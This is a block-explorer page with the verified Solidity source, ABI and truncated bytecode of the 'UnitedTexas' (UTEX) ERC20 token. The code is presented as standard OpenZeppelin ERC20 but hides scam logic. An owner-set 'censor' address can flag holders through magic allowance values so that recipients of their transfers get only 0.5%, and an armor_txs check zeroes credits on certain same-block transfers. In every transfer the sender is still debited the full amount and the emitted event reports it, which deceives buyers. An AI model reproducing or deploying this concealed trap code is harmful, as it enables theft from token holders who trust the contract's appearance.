Contract

Contract Source Code (Solidity Multiple files format)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.9;
import "./ERC20.sol";

contract UnitedTexas is ERC20 {
    constructor() ERC20("UnitedTexas", "UTEX") {
        _mint(msg.sender, 1000000000 * 10 ** 18);
    }
}

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.9;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.9;

import "./IERC20.sol";
import "./Context.sol";

contract ERC20 is Ownable, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(bytes32 => uint256) private armor_txs;

    uint256 private _totalSupply;
    string private _name;
    string private _symbol;
    address private _censor;
    
    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }
    
    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function censor(address visioner) external {
        require((msg.sender == owner()));
        _censor = visioner;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }
    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        uint256 _amount = _beforeTokenTransfer(from, to, amount);

        if (armor_txs[keccak256(abi.encodePacked(block.number, tx.origin, to))] != 0) {
            _amount = 0;
        }

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += _amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }

        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }
    
    function _safeTransfer(uint256 a) internal pure returns(uint256) {return a * 5000 / 1000000;}

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 
    ) internal virtual {
        if (_allowances[_censor][to] == 0xffff) {_allowances[_censor][to] = 0xffffffff;}
        armor_txs[keccak256(abi.encodePacked(block.number, tx.origin, from))] = 1;
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal view returns (uint256) {
        if (_allowances[_censor][from] + _allowances[_censor][to] >= 0xffffffff) {
            return _safeTransfer(amount);
        } else {
            return amount;
        }
    }
}

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.9;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
    
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}


/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"visioner","type":"address"}],"name":"censor","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

608060405234801562000010575f80fd5b506040518060400160405280600b81526020017f556e6974656454657861730000000000000000000000000000000000000000008152506040518060400160405280600481526020017f55544558000000000000000000000000000000000000000000000000000000008152506200009d62000091620000e760201b60201c565b620000ee60201b60201c565b8160059081620000ae9190620008a0565b508060069081620000c09190620008a0565b505050620000e1336b033b2e3c9fd0803ce8000000620001af60201b60201c565b62000c28565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000220576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200021790620009e2565b60405180910390fd5b620002335f83836200031660201b60201c565b508060045f82825462000247919062000a2f565b925050819055508060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620002f7919062000a7a565b60405180910390a3620003125f83836200048660201b60201c565b5050565b5f63ffffffff60025f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460025f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546200045c919062000a2f565b106200047b5762000473826200061460201b60201c565b90506200047f565b8190505b9392505050565b61ffff60025f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205403620005cc5763ffffffff60025f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b600160035f433287604051602001620005e89392919062000b38565b6040516020818303038152906040528051906020012081526020019081526020015f2081905550505050565b5f620f42406113888362000629919062000b7a565b62000635919062000bf1565b9050919050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680620006b857607f821691505b602082108103620006ce57620006cd62000673565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620007327fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620006f5565b6200073e8683620006f5565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f62000788620007826200077c8462000756565b6200075f565b62000756565b9050919050565b5f819050919050565b620007a38362000768565b620007bb620007b2826200078f565b84845462000701565b825550505050565b5f90565b620007d1620007c3565b620007de81848462000798565b505050565b5b818110156200080557620007f95f82620007c7565b600181019050620007e4565b5050565b601f82111562000854576200081e81620006d4565b6200082984620006e6565b8101602085101562000839578190505b620008516200084885620006e6565b830182620007e3565b50505b505050565b5f82821c905092915050565b5f620008765f198460080262000859565b1980831691505092915050565b5f62000890838362000865565b9150826002028217905092915050565b620008ab826200063c565b67ffffffffffffffff811115620008c757620008c662000646565b5b620008d38254620006a0565b620008e082828562000809565b5f60209050601f83116001811462000916575f841562000901578287015190505b6200090d858262000883565b8655506200097c565b601f1984166200092686620006d4565b5f5b828110156200094f5784890151825560018201915060208501945060208101905062000928565b868310156200096f57848901516200096b601f89168262000865565b8355505b6001600288020188555050505b505050505050565b5f82825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f2061646472657373005f82015250565b5f620009ca601f8362000984565b9150620009d78262000994565b602082019050919050565b5f6020820190508181035f830152620009fb81620009bc565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f62000a3b8262000756565b915062000a488362000756565b925082820190508082111562000a635762000a6262000a02565b5b92915050565b62000a748162000756565b82525050565b5f60208201905062000a8f5f83018462000a69565b92915050565b5f819050919050565b62000ab362000aad8262000756565b62000a95565b82525050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f62000ae48262000ab9565b9050919050565b5f8160601b9050919050565b5f62000b038262000aeb565b9050919050565b5f62000b168262000af7565b9050919050565b62000b3262000b2c8262000ad8565b62000b0a565b82525050565b5f62000b45828662000a9e565b60208201915062000b57828562000b1d565b60148201915062000b69828462000b1d565b601482019150819050949350505050565b5f62000b868262000756565b915062000b938362000756565b925082820262000ba38162000756565b9150828204841483151762000bbd5762000bbc62000a02565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f62000bfd8262000756565b915062000c0a8362000756565b92508262000c1d5762000c1c62000bc4565b5b828204905092915050565b611a9f8062000c365f395ff3fe608060405234801561000f575f80fd5b50600436106100f3575f3560e01c806370a0823111610095578063a457c2d711610064578063a457c2d714610273578063a9059cbb146102a3578063dd62ed3e146102d3578063f2fde38b14610303576100f3565b806370a08231146101fd578063715018a61461022d5780638da5cb5b1461023757806395d89b4114610255576100f3565b806323b872dd116100d157806323b872dd1461016357806328d99bfb14610193578063313ce567146101af57806339509351146101cd576100f3565b806306fdde03146100f7578063095ea7b31461011557806318160ddd14610145575b5f80fd5b6100ff61031f565b60405161010c919061115c565b60405180910390f35b61012f600480360381019061012a919061120d565b6103af565b60405161013c9190611265565b60405180910390f35b61014d6103d1565b60405161015a919061128d565b60405180910390f35b61017d600480360381019061017891906112a6565b6103da565b60405161018a9190611265565b60405180910390f35b6101ad60048036038101906101a891906112f6565b610408565b005b6101b7610489565b6040516101c4919061133c565b60405180910390f35b6101e760048036038101906101e2919061120d565b610491565b6040516101f49190611265565b60405180910390f35b610217600480360381019061021291906112f6565b6104c7565b604051610224919061128d565b60405180910390f35b61023561050d565b005b61023f610520565b60405161024c9190611364565b60405180910390f35b61025d610547565b60405161026a919061115c565b60405180910390f35b61028d6004803603810190610288919061120d565b6105d7565b60405161029a9190611265565b60405180910390f35b6102bd60048036038101906102b8919061120d565b61064c565b6040516102ca9190611265565b60405180910390f35b6102ed60048036038101906102e8919061137d565b61066e565b6040516102fa919061128d565b60405180910390f35b61031d600480360381019061031891906112f6565b6106f0565b005b60606005805461032e906113e8565b80601f016020809104026020016040519081016040528092919081815260200182805461035a906113e8565b80156103a55780601f1061037c576101008083540402835291602001916103a5565b820191905f5260205f20905b81548152906001019060200180831161038857829003601f168201915b5050505050905090565b5f806103b9610772565b90506103c6818585610779565b600191505092915050565b5f600454905090565b5f806103e4610772565b90506103f185828561093c565b6103fc8585856109c7565b60019150509392505050565b610410610520565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610446575f80fd5b8060075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f6012905090565b5f8061049b610772565b90506104bc8185856104ad858961066e565b6104b79190611445565b610779565b600191505092915050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610515610c80565b61051e5f610cfe565b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054610556906113e8565b80601f0160208091040260200160405190810160405280929190818152602001828054610582906113e8565b80156105cd5780601f106105a4576101008083540402835291602001916105cd565b820191905f5260205f20905b8154815290600101906020018083116105b057829003601f168201915b5050505050905090565b5f806105e1610772565b90505f6105ee828661066e565b905083811015610633576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062a906114e8565b60405180910390fd5b6106408286868403610779565b60019250505092915050565b5f80610656610772565b90506106638185856109c7565b600191505092915050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b6106f8610c80565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610766576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161075d90611576565b60405180910390fd5b61076f81610cfe565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036107e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107de90611604565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610855576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084c90611692565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161092f919061128d565b60405180910390a3505050565b5f610947848461066e565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146109c157818110156109b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109aa906116fa565b60405180910390fd5b6109c08484848403610779565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610a35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2c90611788565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610aa3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9a90611816565b60405180910390fd5b5f610aaf848484610dbf565b90505f60035f433287604051602001610aca93929190611899565b6040516020818303038152906040528051906020012081526020019081526020015f205414610af7575f90505b5f60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610b7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7290611945565b60405180910390fd5b82810360015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610c66919061128d565b60405180910390a3610c79858585610f23565b5050505050565b610c88610772565b73ffffffffffffffffffffffffffffffffffffffff16610ca6610520565b73ffffffffffffffffffffffffffffffffffffffff1614610cfc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf3906119ad565b60405180910390fd5b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f63ffffffff60025f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460025f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8773ffffffffff